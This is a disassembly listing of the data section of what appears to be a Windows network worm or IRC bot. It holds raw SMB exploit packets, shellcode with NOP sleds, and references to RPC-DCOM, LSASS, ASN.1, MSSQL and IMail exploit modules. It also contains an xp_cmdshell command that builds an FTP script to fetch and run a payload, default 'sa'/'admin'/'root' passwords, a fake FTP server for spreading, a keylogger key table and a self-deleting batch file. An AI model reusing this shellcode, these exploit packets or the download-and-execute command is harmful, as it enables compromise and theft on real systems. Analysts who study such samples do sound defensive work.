0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_402670 dd 54000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405D60+8Co dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_405D60+BBo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_4026D4 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405D60+2ABo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_402740 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405D60+2DDo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4027E4 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405D60+3D2o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_402864 dd offset byte_401495 ; DATA XREF: sub_405D60+400o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_4028F8 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405D60+31Ao dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_402964 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_405D60+345o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_4029D8 dd 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 2 dup(0) dword_402A60 dd 1004600h dd 7515123Ch, 751C123Ch aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40661D+B2o align 4 dword_402A78 dd 10FF8h, 0 dword_402A80 dd 10FF8h dword_402A84 dd 7FFDF020h, 0 dword_402A8C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002_0 db 'LM1.2X002',0 dw 4C02h aAnman2_1_0 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12_0 db ' LM 0.12',0 align 4 dword_402B14 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_402B44 dd 0 dd 800000D4h, 0 unk_402B50 db 81h ; ; DATA XREF: sub_406B21+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 aSvwfbA db 'SVWf',0 ; DATA XREF: code:00406BD9o aIcsa db '',0 db 2 dup(0), 0FFh dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0 dword_402D04 dd 6EB06EBh, 0 aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_405D60+5Co align 4 dword_402D18 dd 1CEC8166h dword_402D1C dd 0E4FF07h dword_402D20 dd 23h dword_402D24 dd 60h dword_402D28 dd 62B0606h, 2050501h, 0A0hdword_402D34 dd 30h dword_402D38 dd 0A1h dword_402D3C dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40661D+153o ; code:00406DABo align 4 dword_402D48 dd 909006EBh, 90909090h, 0dword_402D54 dd 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dword_402D7C dd 42B68ABAh dword_402D80 dd 42D01E50h dword_402D84 dd 42B48774h dword_402D88 dd 7FFDE0CCh dword_402D8C dd 90909004h, 17h dup(90909090h), 0B0C9DC90h, 90909042h ; DATA XREF: code:004070E2o dd 0EB909090h, 0AE700108h, 0AE700142h, 42h dword_402E04 dd 12400h, 0 a3333 db '3333',0 ; DATA XREF: code:00406DF3o align 4 aEu4 db 1Bh,'4',0 ; DATA XREF: code:00406D99o align 4 asc_402E1C: ; DATA XREF: code:00406CBEo dw 0Dh unicode 0, <>,0 a512 db '512',0 ; DATA XREF: code:00406FDDo aIiii db 'ii',0 ; DATA XREF: code:00406FA6o align 4 aH888r db 'h:888',0 ; DATA XREF: code:00406F82o align 4 aR db '/\r',0Ah ; DATA XREF: code:00406EC0o ; code:0040704Bo db ':',0 align 4 aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'del %s &%s &call %s',27h,0 ; DATA XREF: code:004072EDo align 4 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'echo open %s %d >> %s &echo user %s ' ; DATA XREF: code:004072A6o db '%s >> %s &echo get %s >> %s &echo quit >> %s &ftp -n -s:%s',0Dh,0Ah db 27h,0 aS_txt db '%s.txt',0 ; DATA XREF: code:00407243o align 10h aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s;UID=sa;PWD=%s;%s',0 ; DATA XREF: code:004071E9o align 10h aAdmin db 'admin',0 ; DATA XREF: code:0040715Do align 4 aRoot db 'root',0 ; DATA XREF: code:00407156o align 10h aSa db 'sa',0 ; DATA XREF: code:0040714Bo align 8 dword_402F38 dd 6D6F6364h dd 353331h, 3 dup(0) off_402F4C dd offset aRpcdcom_c ; DATA XREF: sub_404360+723r ; code:00407A96r ; "rpcdcom.c" dword_402F50 dd 87h ; sub_404360+440r ... off_402F54 dd offset loc_405391 ; DATA XREF: code:00407690r dword_402F58 dd 0 ; sub_404360+7CEr ... dword_402F5C dd 1 ; code:0040569Er ... byte_402F60 db 1 ; DATA XREF: code:00407670r align 4 aRpc135 db 'rpc135',0 align 4 dd 3 dup(0) dd offset aRpcss_c ; "rpcss.c" dd 87h, 40567Eh, 0 dd 2, 1, 7361736Ch, 35333173h, 3 dup(0) dd offset aLsassrpc_c ; "lsassrpc.c" dd 87h, 4061ACh, 0 dd 3, 1, 346E7361h, 3534h, 3 dup(0) dd offset aAsn_c ; "asn.c" dd 1BDh, 406B73h, 0 dd 4, 1, 316E7361h, 3933h, 3 dup(0) dd offset aAsn_c ; "asn.c" dd 8Bh, 406B73h, 0 dd 4, 1, 7173736Dh, 7361706Ch, 73h, 2 dup(0) dd offset aMssqlpass_ftpd ; "mssqlpass.ftpd" dd 599h, 407132h, 0 dd 5, 1, 7173736Dh, 6Ch, 3 dup(0) dd offset aMssql_c ; "mssql.c" dd 599h, 406CABh, 0 dd 6, 1, 7173736Dh, 3030326Ch, 30h, 2 dup(0) dd offset aMssql2000_c ; "mssql2000.c" dd 599h, 406EAFh, 0 dd 7, 1, 7173736Dh, 7064756Ch, 3 dup(0) dd offset aMssqludp_c ; "mssqludp.c" dd 599h, 40703Ah, 0 dd 8, 1, 69616D69h, 6Ch, 3 dup(0) dd offset aImail_c ; "imail.c" dd 8Fh, 4059C1h, 0 dd 0Ah, 1, 0Bh dup(0) aImail_c db 'imail.c',0 ; DATA XREF: code:004030D8o aMssqludp_c db 'mssqludp.c',0 ; DATA XREF: code:004030ACo align 10h aMssql2000_c db 'mssql2000.c',0 ; DATA XREF: code:00403080o aMssql_c db 'mssql.c',0 ; DATA XREF: code:00403054o aMssqlpass_ftpd db 'mssqlpass.ftpd',0 ; DATA XREF: code:00403028o align 4 aAsn_c db 'asn.c',0 ; DATA XREF: code:00402FD0o ; code:00402FFCo align 4 aLsassrpc_c db 'lsassrpc.c',0 ; DATA XREF: code:00402FA4o align 4 aRpcss_c db 'rpcss.c',0 ; DATA XREF: code:00402F78o aRpcdcom_c db 'rpcdcom.c',0 ; DATA XREF: code:off_402F4Co align 4 dword_40317C dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 61637302h ; DATA XREF: code:00407718o dd 72656E6Eh, 202D0203h, 6E65706Fh, 726F7020h, 6F662074h dd 3A646E75h, 30032D20h, 73250233h, 364253Ah, 28202D02h dd 65726874h, 203A6461h, 0D296425h, 0Ah dword_4031C8 dd 56495250h, 2047534Dh, 3A207325h, 6E616353h, 676E696Eh ; DATA XREF: code:0040753Eo dd 32D203Ah, 25023330h, 64253A73h, 202D0203h, 72687428h dd 73646165h, 3003203Ah, 64250233h, 2D290203h, 6C656428h dd 203A7961h, 2333003h, 2036425h, 6D282D29h, 74756E69h dd 203A7365h, 2333003h, 2036425h, 6C282D29h, 6369676Fh dd 61637320h, 3203A6Eh, 25023330h, 29020373h, 0A0Dh aDisabled db 'disabled',0 ; DATA XREF: code:00407513o align 4 aEnabled db 'enabled',0 ; DATA XREF: code:00407508o byte_403254 db 0A2h ; DATA XREF: sub_40785C+A2r ; sub_40785C+CEw align 4 dword_403258 dd 4113E68Bh ; sub_40785C+8Fw dword_40325C dd 0B915EBh, 81000000h, 0F1h, 74805E00h, 0E200FF31h, 0E805EBF9h ; DATA XREF: sub_40785C+1Ao dd 0FFFFFFE6h, 0 dword_40327C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8408BADh, 33685353h ; DATA XREF: sub_4077DF+17o dd 68000032h, 5F327377h, 747268h, 736D6800h, 34E86376h dd 1000000h, 35000000h, 74D60862h, 0C0942023h, 0B9CAC999h dd 0B969155Ch, 0D740F640h, 850DB302h, 9CC44DF9h, 8318041Ah dd 0C01AD301h, 80071302h, 0B4070334h, 5D28398Ah, 8B5B026Ah dd 8B5353F8h, 548B3C57h, 0D703783Ah, 20528B52h, 0DB33D703h dd 9A348B43h, 0C933F703h, 0C1C832ACh, 84AC05C1h, 8BF675C0h dd 4C2B0075h, 0E47500B5h, 8B243487h, 0D7032456h, 5A0C8B66h dd 31C568Bh, 8A048BD7h, 895EC703h, 0FF00B544h, 4B5B0045h dd 835BB075h, 0FF5402C3h, 0C4830855h, 75C08508h, 2B02B49Eh dd 54C48AE0h, 1C55FF50h, 685050h, 68000000h, 2, 6A50FC8Bh dd 0FF026A01h, 0D88B2055h, 5357106Ah, 852455FFh, 0C75975C0h dd 45h, 6A500000h, 0FF535504h, 0F48B2C55h, 770045C7h, 68000062h dd 657865h, 68h, 55FC8B2Eh, 0C55FF57h, 6A004589h, 2006800h dd 53560000h, 852855FFh, 781174C0h, 75FF1Bh, 56016A50h dd 831055FFh, 0DFEB10C4h, 0FF0075FFh, 54501455h, 1855FF57h dd 3055FF53h, 455FFh dword_4033D0 dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 3732502h ; DATA XREF: code:00407AA2o dd 25202D02h, 65202E64h, 6F6C7078h, 64657469h, 30032820h dd 73250233h, 20290203h, 33300328h, 3732502h, 73202902h dd 65636375h, 6C756673h, 0A0D796Ch, 0 dword_40341C dd 6272h ; code:00407C58o ... aUnknown db 'unknown',0 ; DATA XREF: code:004079C2o aShellcodedaemo db 'ShellcodeDaemon',0 ; DATA XREF: code:00407ADCo ; sub_409022+E0o dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 21h, 2 dup(0) aUuuu db '',0 align 10h dd 5 dup(0) dd 21h, 4, 2 dup(0) dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 10ACh, 1, 1094h, 90000h, 805h, 0 dword_403510 dd 805h, 410041h, 302E31h, 66396438h, 30346534h, 3330612Dh ; DATA XREF: code:00403544o dd 31312D64h, 382D6563h, 2D393666h, 30303830h, 30336533h dd 62313530h, 0 dd offset dword_403510+0Ch dword_403548 dd 4000500h, 7868746Bh, 0dword_403554 dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 726F7702h ; DATA XREF: code:00407E7Eo dd 6469726Dh, 66742E65h, 3647074h, 65202D02h, 6F6C7078h dd 64657469h, 33300320h, 3732502h, 3282002h, 25023330h dd 29020373h, 63757320h, 66736563h, 796C6C75h, 0A0Dh aTftpdaemon db 'TFTPDaemon',0 ; DATA XREF: code:00407BE9o ; sub_409022+F5o align 10h a221Goodbye_ db '221 Goodbye.',0Ah,0 ; DATA XREF: text:0040854Ao align 10h aQuit db 'QUIT',0 ; DATA XREF: text:00408536o align 4 dword_4035C8 dd 56495250h, 2047534Dh, 3A207325h, 3430032Dh, 70746602h ; DATA XREF: text:0040850Bo dd 2D020364h, 2E642520h, 6E657320h, 75732064h, 65656363h dd 6F742064h, 30032820h, 73250233h, 20290203h, 33300328h dd 3732502h, 0A0D2902h, 0 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: text:004084CEo ; text:00408529o align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: text:004084C5o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: text:00408495o align 4 aRetr db 'RETR',0 ; DATA XREF: text:0040847Do align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: text:0040846Do align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: text:00408451o aXX db '%x%x',0Ah,0 ; DATA XREF: text:0040841Fo align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: text:004083D8o db ']',0 aPort db 'PORT',0 ; DATA XREF: text:0040839Fo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: text:0040838Fo align 4 aList db 'LIST',0 ; DATA XREF: text:0040837Bo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: text:0040836Bo align 10h aPasv db 'PASV',0 ; DATA XREF: text:00408357o align 4 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: text:00408347o aI: ; DATA XREF: text:00408333o unicode 0, <I>,0 aA_0: ; DATA XREF: text:0040831Co unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: text:00408305o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: text:004082F5o align 4 aPwd db 'PWD',0 ; DATA XREF: text:004082E1o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: text:004082D1o align 4 aRest db 'REST',0 ; DATA XREF: text:004082BDo align 4 a215UnixTypeL8 db '215 UNIX Type: L8',0Ah,0 ; DATA XREF: text:004082ADo align 10h aSyst db 'SYST',0 ; DATA XREF: text:00408299o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: text:00408289o align 10h aPass db 'PASS',0 ; DATA XREF: text:00408275o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: text:00408265o align 10h aUser db 'USER',0 ; DATA XREF: text:00408250o align 4 aSS db '%s %s',0 ; DATA XREF: text:0040823Fo align 10h a220Proftpd1_D_ db '220 ProFTPD 1.%d.%d Server (ProFTPD Default Installation)',0Ah,0 ; DATA XREF: text:00408188o align 4 aFtpdaemon db 'FTPDaemon',0 ; DATA XREF: code:00407FB4o ; text:004080D8o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_408691+Bo aWb db 'wb',0 ; DATA XREF: sub_40870A+CFo align 4 aDetox db 'dETOX',0 ; DATA XREF: sub_40870A+63o align 4 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_408956+9o ; sub_40899E+Do align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4089F7+11Bo aService db 'Service',0 ; DATA XREF: sub_4089F7+D7o aMinimal db 'Minimal',0 ; DATA XREF: sub_4089F7+CBo aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\SafeBoot\',0 ; DATA XREF: sub_4089F7+B1o align 10h aStart db 'Start',0 ; DATA XREF: sub_408B74+77o align 4 aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_408B74+3Do align 10h aComspecCSSS db '%%comspec%% /c %s %s %s',0 ; DATA XREF: sub_408D7F+EAo a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_408D7F+71o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db ':repeat2',0Dh,0Ah db 'del "%%2"',0Dh,0Ah db 'if exist "%%2" goto repeat2',0Dh,0Ah,0 align 4 aSdestroy_cmd db '%sdestroy.cmd',0 ; DATA XREF: sub_408D7F+3Do align 4 asc_403978: ; DATA XREF: sub_408EAE+43o unicode 0, <\>,0 dword_40397C dd 0FFFFFFFFh ; sub_404E76+14w ... dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40924C+55o align 10h dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_40418C dd 2333003h, 2036425h, 20732520h, 2333003h, 2036425h, 20732520h ; DATA XREF: sub_4093DC+D9o dd 2333003h, 2036425h, 732520h aMinute db 'minute',0 ; DATA XREF: sub_4093DC+CEo align 4 aMinutes db 'minutes',0 ; DATA XREF: sub_4093DC+C7o aHour db 'hour',0 ; DATA XREF: sub_4093DC+BFo align 4 aHours db 'hours',0 ; DATA XREF: sub_4093DC+B8o align 10h aDay db 'day',0 ; DATA XREF: sub_4093DC+B0o aDays db 'days',0 ; DATA XREF: sub_4093DC+A0o align 4 dword_4041DC dd 646E6957h, 2073776Fh, 2333003h, 2037325haD_DBuildD db ' [%d.%d Build %d]',0 align 10h a??? db '???',0 ; DATA XREF: sub_4094D4:loc_40956Ao a2003 db '2003',0 ; DATA XREF: sub_4094D4+8Fo align 4 aXp db 'XP',0 ; DATA XREF: sub_4094D4+85o align 10h a2000 db '2000',0 ; DATA XREF: sub_4094D4+79o align 4 aMe db 'ME',0 ; DATA XREF: sub_4094D4+65o align 4 a98 db '98',0 ; DATA XREF: sub_4094D4+59o align 10h aNt db 'NT',0 ; DATA XREF: sub_4094D4+4Do align 4 a95 db '95',0 ; DATA XREF: sub_4094D4+3Ao align 4 dword_404228 dd 3430032Dh, 73797302h, 206D6574h, 6F666E69h, 202D0203h ; DATA XREF: sub_40959B+52o dd 72207325h, 696E6E75h, 6620676Eh, 2520726Fh, 6E6F2073h dd 534F2820h, 73252029h, 50432820h, 3202955h, 25023330h dd 20020364h, 207A484Dh, 68746977h, 41522820h, 320294Dh dd 25023330h, 64252F64h, 4D200203h, 42h dword_404288 dd 72h aCCCCCCC db '%c%c%c%c%c%c%c',0 ; DATA XREF: sub_4097E5+C1o align 4 a0123456789abcd db '0123456789abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_4097E5+27o align 10h flt_4042D0 dd 9.765625e-4 ; DATA XREF: sub_404360+2D2r flt_4042D4 dd 0.0 ; DATA XREF: sub_404360+2A2r flt_4042D8 dd 1.0e-3 ; DATA XREF: sub_404360+296r align 10h dword_4042E0 dd 0FFFFFFFFh, 404B6Ah, 404B6Eh, 0dword_4042F0 dd 0FFFFFFFFh, 404D51h, 404D55h, 0dword_404300 dd 0FFFFFFFFh, 405371h, 405375h, 0dword_404310 dd 0FFFFFFFFh, 408913h, 408917h, 0dword_404320 dd 0FFFFFFFFh, 409156h, 40915Ah, 0dword_404330 dd 0FFFFFFFFh, 4096BEh, 4096C2h, 0dword_404340 dd 0FFFFFFFFh, 409938h, 40993Ch, 0dbl_404350 dq -3.0517578125e-5 ; DATA XREF: sub_409957+2Cr align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404360 proc near ; CODE XREF: code:00405128p ; code:004052F6p var_1E0 = qword ptr -1E0h var_1D8 = qword ptr -1D8h var_1D0 = dword ptr -1D0h var_1CC = byte ptr -1CCh var_14C = dword ptr -14Ch var_148 = byte ptr -148h var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 